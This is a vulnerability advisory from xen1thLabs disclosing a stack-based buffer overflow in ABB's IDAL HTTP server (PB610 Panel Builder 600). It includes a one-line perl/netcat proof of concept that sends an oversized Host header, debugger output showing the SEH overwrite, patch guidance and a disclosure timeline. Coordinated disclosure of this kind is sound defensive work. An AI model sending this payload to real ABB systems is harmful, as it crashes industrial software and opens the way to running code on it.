XL-19-011 - ABB IDAL HTTP Server Stack-Based Buffer Overflow Vulnerability  
CVSS Score  
8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
Affected vendor  
ABB (  
Eldar Marcussen - xen1thLabs - Software Labs  
Vulnerability summary  
The IDAL HTTP server is vulnerable to a stack-based buffer overflow when receiving a large host header in a HTTP request. The host header value overflows a buffer and overwrites the Structured Exception Handler (SEH) address with a larger buffer.  
Technical details  
An unauthenticated attacker can send a Host header value of 2047 bytes or more to overflow the host headers and overwrite the SEH address which can then be leveraged to execute attacker controlled code on the server.  
Proof of concept  
perl -e 'print "GET / HTTP/1.1\r\nHost: " . "A" x 2047 . "\r\n\r\n";' | nc targetip 81  
(1734.510): Break instruction exception - code 80000003 (first chance)  
eax=00000000 ebx=1032cc34 ecx=762dd018 edx=05b8e4c9 esi=00000000 edi=05b8eec3  
eip=762dce95 esp=05b8e710 ebp=05b8e78c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
762dce95 cc int 3  
0:032> !exchain  
05b8e77c: kernel32!RegSaveKeyExW+3b9 (76309332)  
Invalid exception stack at 41414141  
Affected systems  
PB610 Panel Builder 600, order code: 1SAP500900R0101, versions 1.91 ...  
Apply the patches and instructions from vendor:  
- ABB PB610 -  
Disclosure timeline  
04/02/2019 - Contacted ABB requesting disclosure coordination  
05/02/2019 - Provided vulnerability details  
05/06/2019 - Patch available  
17/06/2019 - xen1thLabs public disclosure